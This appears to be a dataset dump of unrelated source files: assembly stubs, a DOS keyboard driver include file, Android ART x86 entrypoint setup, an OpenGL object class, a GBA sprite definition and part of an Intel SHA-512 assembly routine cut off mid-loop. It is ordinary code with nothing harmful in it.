text
stringlengths
1
1.05M
; void __CALLEE__ *ba_AddMem_callee(uchar q, uchar numblocks, uint size, void *addr) ; 05.2005 aralbrec XLIB ba_AddMem_callee LIB BAAddMem .ba_AddMem_callee pop af pop hl pop de pop bc ex (sp),hl ld b,c ld c,l pop hl push af jp BAAddMem
;* ;* CW : Character Windows Drivers ;* ;* fx_kbd3.asm : DOS 3 Fixed keyboard driver (linked in) ;* * DOES NOT INCLUDE "kbd_code" ;* * has data in application's data segment ;***************************************************************************** include kbd_head.inc include fxdrv.inc include kbd3.inc ;* special stuff for DOS 3 driver include scan3.inc include tsr3.inc include bios.inc include kbd_data.inc ;***************************************************************************** ;* * Special DATA include fx_data.asm ;***************************************************************************** sBegin DRV assumes CS,DRV assumes ds,NOTHING assumes ss,NOTHING ;* * There is no low memory structure for the linked driver lpwDataKbd EQU THIS DWORD OFF_lpwDataKbd DW dataOffset rgwDataKbd SEG_lpwDataKbd DW SEG DGROUP STD_NUMPAD = 1 ; normal DOS3 numpad handling (eats '5') ;***************************************************************************** ;* * keyboard tables go here include keytable.asm ;* Scan code tables include kbd_ibm.asm ;* IBM helpers etc ;***************************************************************************** ;* * Main routines include keyacc3.asm ;* accessory routines include keyddl3.asm ;* shift diddle tables include keyint3.asm ;* interrupt include keyxlat.asm ;* polling translations ;***************************************************************************** include kbd_std.asm ;* standard init/term ;***************************************************************************** include kbd_tail.asm ;* tail file ;***************************************************************************** END
/* * Copyright (C) 2012 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <math.h> #include "entrypoints/jni/jni_entrypoints.h" #include "entrypoints/quick/quick_alloc_entrypoints.h" #include "entrypoints/quick/quick_default_externs.h" #include "entrypoints/quick/quick_default_init_entrypoints.h" #include "entrypoints/quick/quick_entrypoints.h" #include "entrypoints/runtime_asm_entrypoints.h" #include "interpreter/interpreter.h" namespace art { // Cast entrypoints. extern "C" size_t art_quick_instance_of(mirror::Object* obj, mirror::Class* ref_class); // Read barrier entrypoints. // art_quick_read_barrier_mark_regX uses an non-standard calling // convention: it expects its input in register X and returns its // result in that same register, and saves and restores all // caller-save registers. extern "C" mirror::Object* art_quick_read_barrier_mark_reg00(mirror::Object*); extern "C" mirror::Object* art_quick_read_barrier_mark_reg01(mirror::Object*); extern "C" mirror::Object* art_quick_read_barrier_mark_reg02(mirror::Object*); extern "C" mirror::Object* art_quick_read_barrier_mark_reg03(mirror::Object*); extern "C" mirror::Object* art_quick_read_barrier_mark_reg05(mirror::Object*); extern "C" mirror::Object* art_quick_read_barrier_mark_reg06(mirror::Object*); extern "C" mirror::Object* art_quick_read_barrier_mark_reg07(mirror::Object*); extern "C" mirror::Object* art_quick_read_barrier_slow(mirror::Object*, mirror::Object*, uint32_t); extern "C" mirror::Object* art_quick_read_barrier_for_root_slow(GcRoot<mirror::Object>*); void UpdateReadBarrierEntrypoints(QuickEntryPoints* qpoints, bool is_active) { qpoints->pReadBarrierMarkReg00 = is_active ? art_quick_read_barrier_mark_reg00 : nullptr; qpoints->pReadBarrierMarkReg01 = is_active ? art_quick_read_barrier_mark_reg01 : nullptr; qpoints->pReadBarrierMarkReg02 = is_active ? art_quick_read_barrier_mark_reg02 : nullptr; qpoints->pReadBarrierMarkReg03 = is_active ? art_quick_read_barrier_mark_reg03 : nullptr; qpoints->pReadBarrierMarkReg05 = is_active ? art_quick_read_barrier_mark_reg05 : nullptr; qpoints->pReadBarrierMarkReg06 = is_active ? art_quick_read_barrier_mark_reg06 : nullptr; qpoints->pReadBarrierMarkReg07 = is_active ? art_quick_read_barrier_mark_reg07 : nullptr; } void InitEntryPoints(JniEntryPoints* jpoints, QuickEntryPoints* qpoints) { DefaultInitEntryPoints(jpoints, qpoints); // Cast qpoints->pInstanceofNonTrivial = art_quick_instance_of; qpoints->pCheckInstanceOf = art_quick_check_instance_of; // More math. qpoints->pCos = cos; qpoints->pSin = sin; qpoints->pAcos = acos; qpoints->pAsin = asin; qpoints->pAtan = atan; qpoints->pAtan2 = atan2; qpoints->pPow = pow; qpoints->pCbrt = cbrt; qpoints->pCosh = cosh; qpoints->pExp = exp; qpoints->pExpm1 = expm1; qpoints->pHypot = hypot; qpoints->pLog = log; qpoints->pLog10 = log10; qpoints->pNextAfter = nextafter; qpoints->pSinh = sinh; qpoints->pTan = tan; qpoints->pTanh = tanh; // Math qpoints->pD2l = art_quick_d2l; qpoints->pF2l = art_quick_f2l; qpoints->pLdiv = art_quick_ldiv; qpoints->pLmod = art_quick_lmod; qpoints->pLmul = art_quick_lmul; qpoints->pShlLong = art_quick_lshl; qpoints->pShrLong = art_quick_lshr; qpoints->pUshrLong = art_quick_lushr; // Intrinsics // qpoints->pIndexOf = nullptr; // Not needed on x86 qpoints->pStringCompareTo = art_quick_string_compareto; qpoints->pMemcpy = art_quick_memcpy; // Read barrier. qpoints->pReadBarrierJni = ReadBarrierJni; UpdateReadBarrierEntrypoints(qpoints, /*is_active*/ false); qpoints->pReadBarrierMarkReg04 = nullptr; // Cannot use register 4 (ESP) to pass arguments. // x86 has only 8 core registers. qpoints->pReadBarrierMarkReg08 = nullptr; qpoints->pReadBarrierMarkReg09 = nullptr; qpoints->pReadBarrierMarkReg10 = nullptr; qpoints->pReadBarrierMarkReg11 = nullptr; qpoints->pReadBarrierMarkReg12 = nullptr; qpoints->pReadBarrierMarkReg13 = nullptr; qpoints->pReadBarrierMarkReg14 = nullptr; qpoints->pReadBarrierMarkReg15 = nullptr; qpoints->pReadBarrierMarkReg16 = nullptr; qpoints->pReadBarrierMarkReg17 = nullptr; qpoints->pReadBarrierMarkReg18 = nullptr; qpoints->pReadBarrierMarkReg19 = nullptr; qpoints->pReadBarrierMarkReg20 = nullptr; qpoints->pReadBarrierMarkReg21 = nullptr; qpoints->pReadBarrierMarkReg22 = nullptr; qpoints->pReadBarrierMarkReg23 = nullptr; qpoints->pReadBarrierMarkReg24 = nullptr; qpoints->pReadBarrierMarkReg25 = nullptr; qpoints->pReadBarrierMarkReg26 = nullptr; qpoints->pReadBarrierMarkReg27 = nullptr; qpoints->pReadBarrierMarkReg28 = nullptr; qpoints->pReadBarrierMarkReg29 = nullptr; qpoints->pReadBarrierSlow = art_quick_read_barrier_slow; qpoints->pReadBarrierForRootSlow = art_quick_read_barrier_for_root_slow; } } // namespace art
public _levels public _tileAttr section RODATA_0 _levels: binary "levels.nxm" IF !_ZXN section RODATA_5 ELSE section RODATA_2 ENDIF _tileAttr: binary "attrib.dat"
// // Created by hasee on 5/2/2018. // #include <glm/gtc/type_ptr.hpp> #include <glm/gtc/matrix_inverse.hpp> #include "Object.h" #include "Camera.h" #include "Lighting.h" #include "Textures.h" // How to calculate an offset into the vertex buffer #define BUFFER_OFFSET( i ) ((char *)NULL + (i)) /// // Default constructor /// Object::Object() { } /// // Constructor // // @param program - the ID of an OpenGL (GLSL) shader program to which // parameter values are to be sent // @param C - the Canvas to use /// Object::Object( GLuint program, Canvas &C ) { this->bufferSet.createBuffers( C ); this->program = program; this->texture = 0; this->Model = mat4( 1.0f ); } /// // Draw the object. /// void Object::drawObject() { glUseProgram( program ); // set up the buffer setUpBuffer(); // set up the matrices setUpMatrix(); // set up the surface material setUpMaterial(); // set up the lighting properties setUpLight( program ); // the object has texture if( texture != 0 ) { // set up the texture setUpTexture( texture ); } // draw it glDrawElements( GL_TRIANGLES, bufferSet.numElements, GL_UNSIGNED_INT, ( void * ) 0 ); } /// // Set up the buffer. /// void Object::setUpBuffer() { // bind the buffers glBindBuffer( GL_ARRAY_BUFFER, bufferSet.vbuffer ); glBindBuffer( GL_ELEMENT_ARRAY_BUFFER, bufferSet.ebuffer ); // set up the vertex attribute variables GLint vPosition = glGetAttribLocation( program, "vPosition" ); glEnableVertexAttribArray( vPosition ); glVertexAttribPointer( vPosition, 4, GL_FLOAT, GL_FALSE, 0, BUFFER_OFFSET( 0 ) ); int offset = bufferSet.vSize; if( bufferSet.cSize ) { // color data GLint vColor = glGetAttribLocation( program, "vColor" ); glEnableVertexAttribArray( vColor ); glVertexAttribPointer( vColor, 4, GL_FLOAT, GL_FALSE, 0, BUFFER_OFFSET( offset ) ); offset += bufferSet.cSize; } if( bufferSet.nSize ) { // normal data GLint vNormal = glGetAttribLocation( program, "vNormal" ); glEnableVertexAttribArray( vNormal ); glVertexAttribPointer( vNormal, 3, GL_FLOAT, GL_FALSE, 0, BUFFER_OFFSET( offset ) ); offset += bufferSet.nSize; } if( bufferSet.tSize ) { // texture coordinate data GLint vTexCoord = glGetAttribLocation( program, "vTexCoord" ); glEnableVertexAttribArray( vTexCoord ); glVertexAttribPointer( vTexCoord, 2, GL_FLOAT, GL_FALSE, 0, BUFFER_OFFSET( offset ) ); offset += bufferSet.tSize; } } /// // Set up the model, view, projection matrix. /// void Object::setUpMatrix() { extern Camera camera[3]; extern int currentCamera; // the viewing matrix of current camera mat4 View = camera[ currentCamera ].getViewMat(); // the projection matrix of current camera mat4 Projection = camera[ currentCamera ].getProjectionMat(); // the normal matrix mat3 Normal = mat3( inverseTranspose( View * Model ) ); // set up the model matrix glUniformMatrix4fv( glGetUniformLocation( program, "modelMat" ), 1, GL_FALSE, value_ptr( Model ) ); // set up the viewing matrix glUniformMatrix4fv( glGetUniformLocation( program, "viewMat" ), 1, GL_FALSE, value_ptr( View ) ); // set up the projection matrix glUniformMatrix4fv( glGetUniformLocation( program, "projectionMat" ), 1, GL_FALSE, value_ptr( Projection ) ); // set up the normal matrix glUniformMatrix3fv( glGetUniformLocation( program, "normalMat" ), 1, GL_FALSE, value_ptr( Normal ) ); } /// // Set up the material properties. /// void Object::setUpMaterial() { glUniform4fv( glGetUniformLocation( program, "material.ambient" ), 1, value_ptr( material.ambientColor ) ); glUniform4fv( glGetUniformLocation( program, "material.diffuse" ), 1, value_ptr( material.diffuseColor ) ); glUniform4fv( glGetUniformLocation( program, "material.specular" ), 1, value_ptr( material.specularColor ) ); glUniform1f( glGetUniformLocation( program, "material.ka" ), material.ka ); glUniform1f( glGetUniformLocation( program, "material.kd" ), material.kd ); glUniform1f( glGetUniformLocation( program, "material.ks" ), material.ks ); glUniform1f( glGetUniformLocation( program, "material.shininess" ), material.shininess ); } /// // Reset the model transformation of the object. /// void Object::reset() { Model = mat4( 1.0f ); } /// // This function perfrom a scaling operation. // // @param scaleX - amount of scaling along the x-axis // @param scaleY - amount of scaling along the y-axis // @param scaleZ - amount of scaling along the z-axis /// void Object::scale( GLfloat scaleX, GLfloat scaleY, GLfloat scaleZ ) { mat4 Scale = mat4( 1.0f ); Scale[ 0 ][ 0 ] = scaleX; Scale[ 1 ][ 1 ] = scaleY; Scale[ 2 ][ 2 ] = scaleZ; Model = Scale * Model; } /// // This function perfrom a translation operation. // // @param translateX - amount of translation along the x axis // @param translateY - amount of translation along the y axis // @param translateZ - amount of translation along the z axis /// void Object::translate( GLfloat translateX, GLfloat translateY, GLfloat translateZ ) { mat4 Translate = mat4( 1.0f ); Translate[ 3 ][ 0 ] = translateX; Translate[ 3 ][ 1 ] = translateY; Translate[ 3 ][ 2 ] = translateZ; Model = Translate * Model; } /// // This function perform of rotation around the x axis. // // @param rotateX - angle of rotation around the x-axis, in degrees /// void Object::rotateX( GLfloat rX ) { // radians of the degrees GLfloat rad = rX * 3.14159265f / 180.0f; GLfloat sin = glm::sin( rad ); GLfloat cos = glm::cos( rad ); mat4 RotateX = mat4( 1.0f ); RotateX[ 1 ][ 1 ] = cos; RotateX[ 1 ][ 2 ] = sin; RotateX[ 2 ][ 1 ] = -sin; RotateX[ 2 ][ 2 ] = cos; Model = RotateX * Model; } /// // This function perform a rotation around the y axis. // // @param rotateY - angle of rotation around the y-axis, in degrees /// void Object::rotateY( GLfloat rY ) { // radians of the degrees GLfloat rad = rY * 3.14159265f / 180.0f; GLfloat sin = glm::sin( rad ); GLfloat cos = glm::cos( rad ); mat4 RotateY = mat4( 1.0f ); RotateY[ 0 ][ 0 ] = cos; RotateY[ 0 ][ 2 ] = -sin; RotateY[ 2 ][ 0 ] = sin; RotateY[ 2 ][ 2 ] = cos; Model = RotateY * Model; } /// // This function perform a rotation around the z axis. // // @param rotateZ - angle of rotation around the z-axis, in degrees /// void Object::rotateZ( GLfloat rZ ) { // radians of the degrees GLfloat rad = rZ * 3.14159265f / 180.0f; GLfloat sin = glm::sin( rad ); GLfloat cos = glm::cos( rad ); mat4 RotateZ = mat4( 1.0f ); RotateZ[ 0 ][ 0 ] = cos; RotateZ[ 0 ][ 1 ] = sin; RotateZ[ 1 ][ 0 ] = -sin; RotateZ[ 1 ][ 1 ] = cos; Model = RotateZ * Model; }
; int bv_priority_queue_empty(bv_priority_queue_t *q) SECTION code_adt_bv_priority_queue PUBLIC _bv_priority_queue_empty EXTERN _ba_priority_queue_empty defc _bv_priority_queue_empty = _ba_priority_queue_empty
; A329513: G.f. = (1+x)^2*(1+2*x^2-x^3)/(1-x). ; 1,3,6,9,9,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8 mul $0,2 mov $1,4 add $1,$0 mul $0,7 trn $1,10 add $1,5 div $0,$1 mov $1,$0 add $1,1
.include "sprite/template.asm" .gba .create TEMP+"/6D8188.dmp",0 header anim frame @tile,@pal,@sub,@oam,1,ANIM_END tiles @tile, TEMP+"/6D8188.img.bin" pal @pal, TEMP+"/6D8188.pal.bin" subanim_none @sub oamlist_single @oam // tile x y size flip pal oam 0, 16, -69, SIZE_16x32, FLIP_NONE, 0 oam 8, -48, 3, SIZE_64x64, FLIP_NONE, 0 oam 72, 32, - 5, SIZE_8x32, FLIP_NONE, 0 oam 72, 32, -37, SIZE_8x32, FLIP_NONE, 0 oam 76, 0, - 5, SIZE_16x8, FLIP_NONE, 0 oam 76, -16, - 5, SIZE_16x8, FLIP_NONE, 0 oam 76, -32, - 5, SIZE_16x8, FLIP_NONE, 0 oam 78, -48, - 5, SIZE_16x8, FLIP_NONE, 0 oam 80, 32, 27, SIZE_8x8, FLIP_NONE, 0 oam 81, 16, 27, SIZE_16x8, FLIP_NONE, 0 oam 83, 32, 35, SIZE_8x32, FLIP_NONE, 0 oam 87, 16, 35, SIZE_16x32, FLIP_NONE, 0 oam 95, 16, - 5, SIZE_16x32, FLIP_NONE, 0 oam 95, 16, -37, SIZE_16x32, FLIP_NONE, 0 oam 103, -48, -69, SIZE_64x64, FLIP_NONE, 0 oam 167, 32, -69, SIZE_8x32, FLIP_NONE, 0 oam 171, -39, -63, SIZE_32x8, FLIP_NONE, 0 oam 175, -39, -71, SIZE_8x8, FLIP_NONE, 0 oam 176, 2, -63, SIZE_8x8, FLIP_NONE, 0 oam 177, - 5, -63, SIZE_8x8, FLIP_NONE, 0 oam 178, - 5, -63, SIZE_8x8, FLIP_NONE, 0 oam 179, - 5, -63, SIZE_8x8, FLIP_NONE, 0 oam 180, - 5, -63, SIZE_8x8, FLIP_NONE, 0 oam 181, - 5, -63, SIZE_8x8, FLIP_NONE, 0 oam 182, - 5, -63, SIZE_8x8, FLIP_NONE, 0 oam 177, 8, -63, SIZE_8x8, FLIP_NONE, 0 oam 178, 8, -63, SIZE_8x8, FLIP_NONE, 0 oam 179, 8, -63, SIZE_8x8, FLIP_NONE, 0 oam 180, 8, -63, SIZE_8x8, FLIP_NONE, 0 oam 181, 8, -63, SIZE_8x8, FLIP_NONE, 0 oam 182, 8, -63, SIZE_8x8, FLIP_NONE, 0 oam_end oamlist_end .close
############################################################################### # Copyright 2018 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. The # Material contains proprietary information of Intel or its suppliers and # licensors. The Material is protected by worldwide copyright laws and treaty # provisions. No part of the Material may be used, copied, reproduced, # modified, published, uploaded, posted, transmitted, distributed or disclosed # in any way without Intel's prior express written permission. No license under # any patent, copyright or other intellectual property rights in the Material # is granted to or conferred upon you, either expressly, by implication, # inducement, estoppel or otherwise. Any license under such intellectual # property rights must be express and approved by Intel in writing. # # Unless otherwise agreed by Intel in writing, you may not remove or alter this # notice or any other notice embedded in Materials by Intel or Intel's # suppliers or licensors in any way. # # # If this software was obtained under the Apache License, Version 2.0 (the # "License"), the following terms apply: # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. ############################################################################### .section .note.GNU-stack,"",%progbits .text .p2align 4, 0x90 .globl m7_UpdateSHA512 .type m7_UpdateSHA512, @function m7_UpdateSHA512: push %rbx push %r12 push %r13 push %r14 push %r15 push %rbp sub $(152), %rsp movslq %edx, %rdx movq %rdx, (128)(%rsp) mov %rcx, %rbp .Lsha512_block_loopgas_1: xor %rcx, %rcx .Lloop1gas_1: mov (%rsi,%rcx,8), %r8 bswap %r8 mov %r8, (%rsp,%rcx,8) mov (8)(%rsi,%rcx,8), %r9 bswap %r9 mov %r9, (8)(%rsp,%rcx,8) add $(2), %rcx cmp $(16), %rcx jl .Lloop1gas_1 mov (%rdi), %r8 mov (8)(%rdi), %r9 mov (16)(%rdi), %r10 mov (24)(%rdi), %r11 mov (32)(%rdi), %r12 mov (40)(%rdi), %r13 mov (48)(%rdi), %r14 mov (56)(%rdi), %r15 add (%rbp), %r15 add (%rsp), %r15 mov %r12, %rcx mov %r12, %rdx ror $(14), %rcx mov %r12, %rbx push %r12 not %rdx ror $(18), %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx ror $(23), %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r15 add %r15, %r11 mov %r8, %rcx mov %r8, %rdx ror $(28), %rcx mov %r8, %rbx push %r8 xor %r9, %rdx ror $(34), %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx ror $(5), %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r15 mov (8)(%rsp), %rax mov (112)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (8)(%rsp), %rcx mov (112)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (%rsp), %rax add (72)(%rsp), %rbx add %rbx, %rax mov %rax, (%rsp) add (8)(%rbp), %r14 add (8)(%rsp), %r14 mov %r11, %rcx mov %r11, %rdx ror $(14), %rcx mov %r11, %rbx push %r11 not %rdx ror $(18), %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx ror $(23), %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r14 add %r14, %r10 mov %r15, %rcx mov %r15, %rdx ror $(28), %rcx mov %r15, %rbx push %r15 xor %r8, %rdx ror $(34), %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx ror $(5), %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r14 mov (16)(%rsp), %rax mov (120)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (16)(%rsp), %rcx mov (120)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (8)(%rsp), %rax add (80)(%rsp), %rbx add %rbx, %rax mov %rax, (8)(%rsp) add (16)(%rbp), %r13 add (16)(%rsp), %r13 mov %r10, %rcx mov %r10, %rdx ror $(14), %rcx mov %r10, %rbx push %r10 not %rdx ror $(18), %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx ror $(23), %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r13 add %r13, %r9 mov %r14, %rcx mov %r14, %rdx ror $(28), %rcx mov %r14, %rbx push %r14 xor %r15, %rdx ror $(34), %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx ror $(5), %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r13 mov (24)(%rsp), %rax mov (%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (24)(%rsp), %rcx mov (%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (16)(%rsp), %rax add (88)(%rsp), %rbx add %rbx, %rax mov %rax, (16)(%rsp) add (24)(%rbp), %r12 add (24)(%rsp), %r12 mov %r9, %rcx mov %r9, %rdx ror $(14), %rcx mov %r9, %rbx push %r9 not %rdx ror $(18), %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx ror $(23), %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r12 add %r12, %r8 mov %r13, %rcx mov %r13, %rdx ror $(28), %rcx mov %r13, %rbx push %r13 xor %r14, %rdx ror $(34), %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx ror $(5), %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r12 mov (32)(%rsp), %rax mov (8)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (32)(%rsp), %rcx mov (8)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (24)(%rsp), %rax add (96)(%rsp), %rbx add %rbx, %rax mov %rax, (24)(%rsp) add (32)(%rbp), %r11 add (32)(%rsp), %r11 mov %r8, %rcx mov %r8, %rdx ror $(14), %rcx mov %r8, %rbx push %r8 not %rdx ror $(18), %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx ror $(23), %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r11 add %r11, %r15 mov %r12, %rcx mov %r12, %rdx ror $(28), %rcx mov %r12, %rbx push %r12 xor %r13, %rdx ror $(34), %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx ror $(5), %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r11 mov (40)(%rsp), %rax mov (16)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (40)(%rsp), %rcx mov (16)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (32)(%rsp), %rax add (104)(%rsp), %rbx add %rbx, %rax mov %rax, (32)(%rsp) add (40)(%rbp), %r10 add (40)(%rsp), %r10 mov %r15, %rcx mov %r15, %rdx ror $(14), %rcx mov %r15, %rbx push %r15 not %rdx ror $(18), %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx ror $(23), %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r10 add %r10, %r14 mov %r11, %rcx mov %r11, %rdx ror $(28), %rcx mov %r11, %rbx push %r11 xor %r12, %rdx ror $(34), %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx ror $(5), %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r10 mov (48)(%rsp), %rax mov (24)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (48)(%rsp), %rcx mov (24)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (40)(%rsp), %rax add (112)(%rsp), %rbx add %rbx, %rax mov %rax, (40)(%rsp) add (48)(%rbp), %r9 add (48)(%rsp), %r9 mov %r14, %rcx mov %r14, %rdx ror $(14), %rcx mov %r14, %rbx push %r14 not %rdx ror $(18), %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx ror $(23), %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r9 add %r9, %r13 mov %r10, %rcx mov %r10, %rdx ror $(28), %rcx mov %r10, %rbx push %r10 xor %r11, %rdx ror $(34), %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx ror $(5), %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r9 mov (56)(%rsp), %rax mov (32)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (56)(%rsp), %rcx mov (32)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (48)(%rsp), %rax add (120)(%rsp), %rbx add %rbx, %rax mov %rax, (48)(%rsp) add (56)(%rbp), %r8 add (56)(%rsp), %r8 mov %r13, %rcx mov %r13, %rdx ror $(14), %rcx mov %r13, %rbx push %r13 not %rdx ror $(18), %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx ror $(23), %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r8 add %r8, %r12 mov %r9, %rcx mov %r9, %rdx ror $(28), %rcx mov %r9, %rbx push %r9 xor %r10, %rdx ror $(34), %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx ror $(5), %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r8 mov (64)(%rsp), %rax mov (40)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (64)(%rsp), %rcx mov (40)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (56)(%rsp), %rax add (%rsp), %rbx add %rbx, %rax mov %rax, (56)(%rsp) add (64)(%rbp), %r15 add (64)(%rsp), %r15 mov %r12, %rcx mov %r12, %rdx ror $(14), %rcx mov %r12, %rbx push %r12 not %rdx ror $(18), %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx ror $(23), %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r15 add %r15, %r11 mov %r8, %rcx mov %r8, %rdx ror $(28), %rcx mov %r8, %rbx push %r8 xor %r9, %rdx ror $(34), %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx ror $(5), %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r15 mov (72)(%rsp), %rax mov (48)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (72)(%rsp), %rcx mov (48)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (64)(%rsp), %rax add (8)(%rsp), %rbx add %rbx, %rax mov %rax, (64)(%rsp) add (72)(%rbp), %r14 add (72)(%rsp), %r14 mov %r11, %rcx mov %r11, %rdx ror $(14), %rcx mov %r11, %rbx push %r11 not %rdx ror $(18), %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx ror $(23), %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r14 add %r14, %r10 mov %r15, %rcx mov %r15, %rdx ror $(28), %rcx mov %r15, %rbx push %r15 xor %r8, %rdx ror $(34), %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx ror $(5), %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r14 mov (80)(%rsp), %rax mov (56)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (80)(%rsp), %rcx mov (56)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (72)(%rsp), %rax add (16)(%rsp), %rbx add %rbx, %rax mov %rax, (72)(%rsp) add (80)(%rbp), %r13 add (80)(%rsp), %r13 mov %r10, %rcx mov %r10, %rdx ror $(14), %rcx mov %r10, %rbx push %r10 not %rdx ror $(18), %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx ror $(23), %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r13 add %r13, %r9 mov %r14, %rcx mov %r14, %rdx ror $(28), %rcx mov %r14, %rbx push %r14 xor %r15, %rdx ror $(34), %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx ror $(5), %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r13 mov (88)(%rsp), %rax 